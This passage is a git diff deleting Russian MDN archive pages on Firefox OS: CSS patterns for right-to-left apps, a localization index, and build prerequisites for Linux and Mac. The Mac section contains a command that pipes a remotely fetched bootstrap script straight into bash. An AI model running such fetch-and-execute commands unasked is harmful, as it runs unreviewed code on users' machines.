a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Разработка Bidi приложений -slug: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps -tags: - - Apps - - BiDi - - CSS - - Localization - - Локализация - - Приложения -translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps ---- -<p class="summary">В этом документе перечислены некоторые шаблоны и лучшие практики по созданию BiDi приложений (двунаправленный (bidirectional) - слева направо и справа налево).</p> - -<h2 id="Направление_документа">Направление документа</h2> - -<pre class="brush: html"><code><span class="tag"><html</span><span class="pln"> </span><span class="atn">dir</span><span class="pun">=</span><span class="atv">"rtl"</span><span class="tag">></span></code></pre> - -<p>Если вы используете <a href="/en-US/docs/Web/API/Navigator.mozL10n"><code>navigator.mozL10n</code></a> из <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/l10n.js">библиотеки локализации Gaia</a>, тогда атрибут <code>dir</code> устанавливается автоматически в зависимости от текущего языка, в соответствии с предпочтениями пользователя.</p> - -<h2 id="Направление_текста">Направление текста</h2> - -<pre class="brush: css">p { - text-align: left; /* отступление для старых браузеров */ - text-align: start; -} - -<code><span class="pln">html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">p</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* -}</span></code></pre> - -<pre class="brush: css"><code><span class="pun">.endAligned</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">; /* отступление для старых браузеров */ - text-align: end;</span><span class="com"> -}</span> - -<span class="pln">html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.endAligned</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> left</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* -}</span></code></pre> - -<h2 id="Модель_области_элемента">Модель области элемента</h2> - -<p>Атрибуты margins, paddings и borders необходимо задавать.</p> - -<pre class="brush: css">.box { - margin-left: 20px; -} - -html[dir=rtl] .box { - margin-left: 0; - margin-right: 20px; -} -</pre> - -<p>В браузерах Firefox и Webkit вы также можете использовать экспериментальные атрибуты <a href="/en-US/docs/Web/CSS/-moz-margin-start">margin-start</a>, <a href="/en-US/docs/Web/CSS/-moz-margin-end">margin-end</a>, <a href="/en-US/docs/Web/CSS/-moz-padding-start">padding-start</a>, <a href="/en-US/docs/Web/CSS/-moz-padding-end">padding-end</a>, <a href="/en-US/docs/Web/CSS/-moz-border-start">border-start</a> и <a href="/en-US/docs/Web/CSS/-moz-border-end">border-end</a>.</p> - -<h2 id="Позиционирование">Позиционирование</h2> - -<p>Плавающие (floats), clear и абсолютные (absolute) координаты необходимо задавать.</p> - -<pre class="brush: css"><code><span class="pun">.nav</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - </span><span class="kwd">float</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">;</span><span class="pln"> -</span><span class="pun">}</span><span class="pln"> - -html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.nav</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - </span><span class="kwd">float</span><span class="pun">:</span><span class="pln"> left</span><span class="pun">;</span><span class="pln"> -</span><span class="pun">}</span></code></pre> - -<pre class="brush: css"><code><span class="pun">#clippy</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> - position</span><span class="pun">:</span><span class="pln"> absolute</span><span class="pun">;</span><span class="pln"> - bottom</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln"> - right</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln"> -</span><span class="pun">}</span><span class="pln"> - -html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> #clippy </span><span class="pun">{</span><span class="pln"> - right</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">auto</span><span class="pun">;</span><span class="pln"> - left</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln"> -</span><span class="pun">}</span></code></pre> - -<p> </p> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html deleted file mode 100644 index 26cc4224f4..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: App localization -slug: Archive/B2G_OS/Firefox_OS_apps/Localization -tags: - - Apps - - B2G - - Firefox OS - - Gaia - - L10n.js - - Localization - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization ---- -<p></p><section class="Quick_links" id="Quick_Links"> - -<ol> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section><p></p> - -<div class="summary"> -<p><span class="seoSummary">This set of articles provides information for developers wishing to provide localized versions of their apps.</span></p> -</div> - -<h2 id="Tutorials">Tutorials</h2> - -<dl> - <dt><a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a></dt> - <dd>This tutorial provides a detailed guide to app localization.</dd> - <dt><a href="/en-US/Apps/Build/Localization/App_Localization_with_Transifex">Connecting developers and translators with Transifex</a></dt> - <dd>This article explores the use of <a href="https://www.transifex.com/">Transifex</a> for managing translation work, both for app developers and localizers.</dd> -</dl> - -<h2 id="Reference">Reference</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Apps/Build/Localization/L10n.js_reference">L10n.js reference</a></dt> - <dd>This article provides a reference for the l10n.js library, and its associated date helper, l10n_date.js.</dd> - <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Internationalization_helpers_IntlHelper_and_mozIntl">Internationalization helpers: IntlHelper and mozIntl</a></dt> - <dd>This article looks at how Firefox OS handles localization of dates, times, numbers and collators from version 2.5 onwards, using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl">Internationalization API</a> and Gaia's built in helpers, <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/intl_helper.js">IntlHelper</a> and <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/moz_intl.js">mozIntl</a>.</dd> - <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Localization_code_best_practices">App localization code best practices</a></dt> - <dd>Localization best practices and advanced techniques for experienced Gaia/app developers.</dd> - <dt><a href="/en-US/Apps/Build/Localization/Developing_Bidi_Apps">Developing Bidi Apps</a></dt> - <dd>Best coding practices and guidelines for developing bi-directional (<em>left-to-right</em> and <em>right-to-left</em>, RTL) apps.</dd> -</dl> - -<h2 id="Tools">Tools</h2> - -<dl> - <dt><a href="https://github.com/robnyman/TranslationTester">Translation tester</a></dt> - <dd>This app is for testing translations for Firefox OS apps and provides a blueprint for adding translation support to your own apps.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html deleted file mode 100644 index ec523c3b98..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: 'Прежде, чем собрать Firefox OS' -slug: Archive/B2G_OS/Firefox_OS_build_prerequisites -translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites ---- -<p>Перед получением исходного кода для сборки Firefox OS, Вам понадобится правильно сконфигурированная <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">система сборки</a>. В настоящее время поддерживается сборка на 64-битных дистрибутивах Linux и на Mac OS X.</p> -<h2 id="Приобретите_совместимое_устройство_либо_используйте_эмулятор">Приобретите совместимое устройство либо используйте эмулятор</h2> -<p><span id="answer_long0" style="display: block;">Хотя мы поддерживаем несколько различных типов мобильных устройств, некоторые из них выпускаются в различных модификациях. В настоящее время мы поддерживаем лишь отдельные модификации, поэтому некоторые устройства будут обеспечивать лучшую совместимость по сравнению с другими: </span></p> -<h3 id="Первая_очередь_(Tier_1)">Первая очередь (Tier 1)</h3> -<p>Устройства первой очереди - наша основная целевая платформа и они, как правило, будут первыми получать багфиксы и обновления функционала.</p> -<dl> - <dt> - Keon</dt> - <dd> - Keon - это устройство <a href="http://www.geeksphone.com/" title="http://www.geeksphone.com/">Geeksphone</a> Keon, одно из первых мобильных устройств для компьютерных фанатов (гиков). Обратите внимание, что сборки для этих устройств предоставляются Geeksphone.</dd> - <dt> - Inari</dt> - <dd> - Inari - ещё одно тестовое устройство.</dd> - <dt> - Unagi</dt> - <dd> - Unagi - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Unagi.</dd> - <dt> - Otoro</dt> - <dd> - Otoro - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Otoro.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="/en-US/docs/Mozilla/Firefox_OS/Pandaboard">Pandaboard</a></dt> - <dd> - Pandaboard - это development board на базе архитектуры OMAP 4, используемая для разработки под мобильные платформы.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Эмулятор (ARM и x86)</a></dt> - <dd> - Доступны два типа эмуляторов: один для эмуляции ARM и второй для x86.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Desktop</a></dt> - <dd> - Вы также можете собрать десктопную версию Firefox OS; она запускает <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a> в приложении <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a>, после чего Вы можете внутри него пользоваться опытом работы с <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia">Gaia</a>.</dd> -</dl> -<p>Вы всегда можете, конечно же, собрать <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">десктопный клиент</a> или один из <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">эмуляторов</a>, не имея вообще никакого мобильного устройства.</p> -<h3 id="Вторая_очередь_(Tier_2)">Вторая очередь (Tier 2)</h3> -<p><span id="answer_long1" style="display: block;">Устройства второй очереди обладают необходимой функциональностью и многие разработчики (особенно разработчики прикладных приложений) используют их, таким образом, устройства из этого ряда будут получать обновления вторыми по очереди.</span></p> -<dl> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S" title="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S"><span class="link-https">Samsung Nexus S</span></a></dt> - <dd> - Гарантированно поддерживаемыми моделями устройств Nexus S являются модели GT-I9020A и GT-I9023 (другие модели тоже могут работать).</dd> - <dt> - Samsung Nexus S 4G</dt> - <dd> - SPH-D720 поддерживается как устройство второй очереди.</dd> -</dl> -<h3 id="Третья_очередь_(Tier_3)">Третья очередь (Tier 3)</h3> -<p><span id="answer_long1" style="display: block;">Firefox OS может быть собрана для этих устройств, но они не относятся к числу целевых платформ для основных разработчиков. Они могут существенно отличаться в меньшую сторону в плане надёжности и функционала от устройств первой и второй очередей.</span></p> -<dl> - <dt> - Samsung Galaxy S2</dt> - <dd> - Единственная поддерживаемая модель - i9100; никакие другие официально не совместимы (i9100P может работать, поскольку его единственное отличие заключается в дополнительном NFC чипе).</dd> - <dt> - Samsung Galaxy Nexus</dt> - <dd> - В настоящее время нам не известно о какой-либо несовместимости данных устройств с Firefox OS.</dd> - <dt> - Tara</dt> - <dd> - Tara - ещё одно тестовое устройство. Manifest для Tara лежит только в бранче master. Скрипт для получения Tara-кода: "BRANCH=master ./config.sh tara".</dd> -</dl> -<div class="warning"> - <strong>Важно</strong>: Поддерживаются только устройства с как минимум <strong>Android 4</strong> (aka <strong>Ice Cream Sandwich</strong>). Если Ваше устройство находится в одном из списков выше, но снабжено более старой версией ОС Android, пожалуйста, предварительно обновите ОС.</div> -<div class="note"> - <h2 id="У_устройств_очереди_2_и_3_отсутствует_кнопка_Home">У устройств очереди 2 и 3 отсутствует кнопка Home</h2> - <p>У всех устройств первой очереди есть хардварная кнопка Home, возвращающая пользователя на стартовый экран. Большинство современных ICS Android-устройств для навигации используют экранные тач-кнопки. При отсутствии кнопки Home Вы не сможете выйти из некоторых приложений, например, их приложения для работы с камерой. Это делает Firefox OS неподходящей для повседневного использования на таких устройствах.</p> -</div> -<h2 id="Системные_требования_для_Linux">Системные требования для Linux</h2> -<p>Для сборки на Linux Вам требуется следующая конфигурация:</p> -<ul> - <li>Установленный <strong>64-битный GNU/Linux</strong> дистрибутив (мы рекомендуем Ubuntu 12.04).</li> - <li>Не менее <strong>4 GB</strong> RAM/swap space.</li> - <li>Не менее <strong>20 GB</strong> свободного места на жёстком диске.</li> -</ul> -<p>Это более чем необходимый минимум, но иногда сборка падает тупо по причине нехватки ресурсов.</p> -<p>Вам потребуются также следующие предустановленные инструменты:</p> -<ul> - <li><strong>autoconf 2.13</strong></li> - <li><strong>bison</strong></li> - <li><strong>bzip2</strong></li> - <li><strong>ccache</strong></li> - <li><strong>curl</strong></li> - <li><strong>flex</strong></li> - <li><strong>gawk</strong></li> - <li><strong>git</strong></li> - <li><strong>gcc / g++ / g++-multilib</strong></li> - <li><strong>make</strong></li> - <li><strong>OpenGL headers</strong></li> - <li><strong>patch</strong></li> - <li><strong>X11 headers</strong></li> - <li><strong>32-bit ncurses</strong></li> - <li><strong>32-bit zlib</strong></li> -</ul> -<h3 id="Примеры_64-битной_инсталляции"><strong>Примеры 64-битной инсталляции:</strong></h3> -<p><strong>Ubuntu 12.04 / Linux Mint 13 / Debian 6</strong></p> -<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre> -<p class="note">При сборке на 64-битной Ubuntu Вам может потребоваться добавить симлинки на 32-битные версии <code>libX11.so</code> и <code>libGL.so</code>:</p> -<pre class="note">$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so -$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre> -<p><strong>Ubuntu 12.10</strong></p> -<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre> -<p class="note">Дополнительно к описанным выше шагам по фику косяков с 32-битными версиями <code>libX11.so</code> и <code>libGL.so</code> библиотек, после скачивания исходников Вам также придётся также прописать GCC 4.6 как дефолтный компилятор (default host compiler), см. <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">здесь</a> как это сделать.</p> -<p class="note">На свежей инсталляции Ubuntu 12.10 вываливается ошибка по поводу неудовлетворённых зависимостей для ia32-libs. Лечится так:</p> -<pre>sudo dpkg --add-architecture i386 -sudo apt-get update -sudo apt-get install ia32-libs</pre> -<p><strong>Ubuntu 13.04</strong></p> -<pre>$ sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip</pre> -<p>Все прочие инструкции для предыдущих версий остаются в силе.</p> -<p><strong>Fedora 17/18:</strong></p> -<pre class="note">$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip perl-Digest-SHA</pre> -<p>Дополнительно для компиляции проекта Вам потребуется GCC 4.4. Прекомпилированную версию можно найти <a href="http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz">здесь</a>. Скачайте её и проинсталлируйте в <code>/opt</code> следующим образом:</p> -<pre class="note">$ wget http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz -$ sudo tar -x -a -C /opt -f gcc-4.4.7-bin.tar.xz -</pre> -<p>После скачивания исходников нужно будет указать данный компилятор как дефолтный (default host compiler), см. <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">здесь</a> как это сделать.</p> -<p><strong>Arch Linux:</strong></p> -<pre class="note">$ sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wget wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> zip </span></span><span style=""><span style="">lib32-mesa </span></span>lib32-mesa-libgl <span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre> -<p>По умолчанию Arch Linux использует Python3. Вам придётся заставить его использовать старый добрый python2:</p> -<pre><span style=""><span style="">$ cd /usr/bin</span></span> - -<span style=""><span style="">$ sudo ln -fs python2 python</span></span></pre> -<h2 id="Системные_требования_для_Mac_OS_X">Системные требования для Mac OS X</h2> -<p>Для сборки Firefox OS на Mac OS X Вам нужно установить Xcode's Command Line Utilities.</p> -<p>Можно загрузить <em>только</em> Command Line Utilities с <a href="https://developer.apple.com/downloads/" title="https://developer.apple.com/downloads/">Apple's developer downloads page</a> для Вашей версии OS X.</p> -<p>Впрочем, если Вам нравится использовать полный пакет Xcode при разработке приложений, можете <a class="external" href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" style="line-height: 1.572;" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">install Xcode</a><span style="line-height: 1.572;"> из Mac App Store.</span></p> -<p><strong>Установка Command Line Utilities через XCode 4.3.1 и выше</strong></p> -<p>Xcode 4.3.1 (OS X 10.7 "Lion") и прочие более новые версии такие, как 4.4.1+ (т.е., Mac OS X10.8 "Mountain Lion"), не обязательно включают в свою дефолтную установку Command Line Utilities. После установки Xcode не поленитесь зайти в Preferences, оттуда в Downloads и установить Command Line Utilities. Убедитесь, что у Вас есть не менее 20 GB свободного дискового пространства.</p> -<p><img alt="Screenshot of Xcode Downloads Command Line Tools" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p> -<div class="note"> - <strong>Примечание:</strong> Эмулятор Firefox OS требует процессора Core 2 Duo или мощнее; т.е., система должна быть совместима с Mac OS X 10.7 "Lion." И хотя Вам не обязательно запускать Lion, Вам просто нужно быть с ним совместимым. Впрочем, Вы можете собрать любой Firefox OS билд на большинстве более старых Маков.</div> -<p><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px; line-height: 31px;"><b>Firefox OS Mac Bootstrap</b></span></font></p> -<p>В терминале запустите следующую команду:</p> -<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre> -<p>Она вытянет и запустит bootstrap-скрипт, который проверит все необходимые для сборки эмулятора зависимости. Он также запросит Ваше разрешение на инсталляцию любого отсутствующего компонента. Скрипт проверяет наличие в системе следующих вещей:</p> -<ul> - <li><code>git</code></li> - <li><code>gpg</code></li> - <li><code>ccache</code></li> - <li><code>yasm</code></li> - <li><code>autoconf-213</code></li> - <li><code>gcc-4.6</code></li> - <li><code>homebrew</code></li> -</ul> -<div> - <p>Xcode</p> - <p>Если Вы уже обновили Xcode до версии 4.4+ но всё равно получаете сообщение о том, что Ваша версия Xcode слишком стара, проверьте Xcode path:</p> - <pre>xcode-select -print-path</pre> - Если он всё ещё указывает на <code>/Developer</code>, отредактируйте path: - <pre>sudo xcode-select -switch /Applications/Xcode.app</pre> - Следующее, в чём нужно убедиться, - наличие Mac OS X 10.6 SDK: - <pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre> - <p>При отсутствии SDK в указанном месте придётся вытащить и скопировать его из архива Xcode 4.3 DMG, который можно взять на портале <a class="external" href="https://developer.apple.com/downloads/index.action">Apple Developer</a>. Для извлечения 10.6 SDK из архива можно воспользоваться утилитой Pacifist. Не забудьте создать симлинк на него в директории <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code>. (После фикса <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=784227" title="https://bugzilla.mozilla.org/show_bug.cgi?id=784227">bug 784227</a> этот шаг можно будет пропустить, и наша версия <a href="https://github.com/mozilla-b2g/B2G/issues/189" title="https://github.com/mozilla-b2g/B2G/issues/189">platform_build has been updated</a>.)</p> - <h3 id="Чувствительность_к_регистру_файловой_системы_Mac">Чувствительность к регистру файловой системы Mac</h3> - <p>По умолчанию Mac OS X поставляется с файловой системой, нечувствительной к регистру текста. Проблема в том, что в ядре Linux присутствует некоторое количество файлов с одинаковыми названиями, отличающихся только регистром букв. См., например, заголовочные файлы <code>xt_CONNMARK.h</code> и <code>xt_connmark.h</code>. В итоге в<code> /kernel</code> модифицируется изрядное количество файлов после <code>./config.sh</code>.</p> - <p>Несмотря на это, в большинстве случаев сборка может пройти успешно. Однако, на некоторых платформах Вы можете столкнуться со следующей ошибкой:</p> - <pre><span class="quote">ERROR: You have uncommited changes in kernel -You may force overwriting these changes -with |source build/envsetup.sh force| - -ERROR: Patching of kernel/ failed.</span></pre> - <p><span class="quote">См. дальнейшие дискуссии и возможные решения данной проблемы в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867259" title="https://bugzilla.mozilla.org/show_bug.cgi?id=867259">bug 867259</a></span>.</p> - <p>В качестве альтернативного решения всегда можно безопасно собрать и на файловой системе, чувствительной к регистру. Самый простой способ - создать отдельный монтируемый образ диска с нечувствительной к регистру файловой системой. Можно воспользоваться приложением Apple's Disk Utility из командной строки:</p> - <pre>hdiutil create -volname 'firefoxos' -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.sparseimage</pre> - <p>Подмонтируйте диск:</p> - <pre>open ~/firefoxos.sparseimage</pre> - <p>Перейдите на смонтированный диск:</p> - <pre>cd /Volumes/firefoxos/</pre> - <p>Теперь можно скачать исходный код и начать его компиляцию, не беспокоясь о проблеме чувствительности к регистру.</p> - <h3 id="Mountain_Lion">Mountain Lion</h3> - <div> - <p>При сборке на OS X 10.8 "Mountain Lion" (Xcode 4.4.1 или выше) может вывалиться следующая ошибка:</p> - <pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre> - Отредактируйте файл: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> в строке 78:<br> - <pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288 #/* B2G_fix: not finding M_PI constant */ -</pre> - <div> - Также на Mountain Lion в процессе инсталляции зависимостей через homebrew может вывалиться и такая ошибка:</div> - </div> -</div> -<div> - <pre>clang: error: unable to execute command: Segmentation fault: 11</pre> - ... в таком случае попробуйте переустановить зависимости, выставив флаг --use-gcc flag, например: - <pre>brew install mpfr --use-gcc</pre> -</div> -<h3 id="Samsung_Galaxy_S2">Samsung Galaxy S2</h3> -<p>Для сборки на Samsung Galaxy S2 нужно установить heimdall. См. {{ anch("Установка heimdall") }}. Bootstrap-скрипт этого <strong>не</strong> сделает за Вас!</p> -<div class="note"> - <strong>Примечание:</strong> Если у Вас установлен <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a>, используемый для контент-менеджмента на многих телефонах Samsung, придётся его удалить перед инсталляцией Firefox OS на Ваше устройство. Под Windows можно использовать стандартную процедуру деинсталляции; на Mac специальная утилита для удаления содержится на инсталляционном образе диска Kies. Flashing <strong>не будет работать</strong> с установленным Kies. Если Вы забудете удалить Kies перед сборкой, система сборки это заметит и напомнит 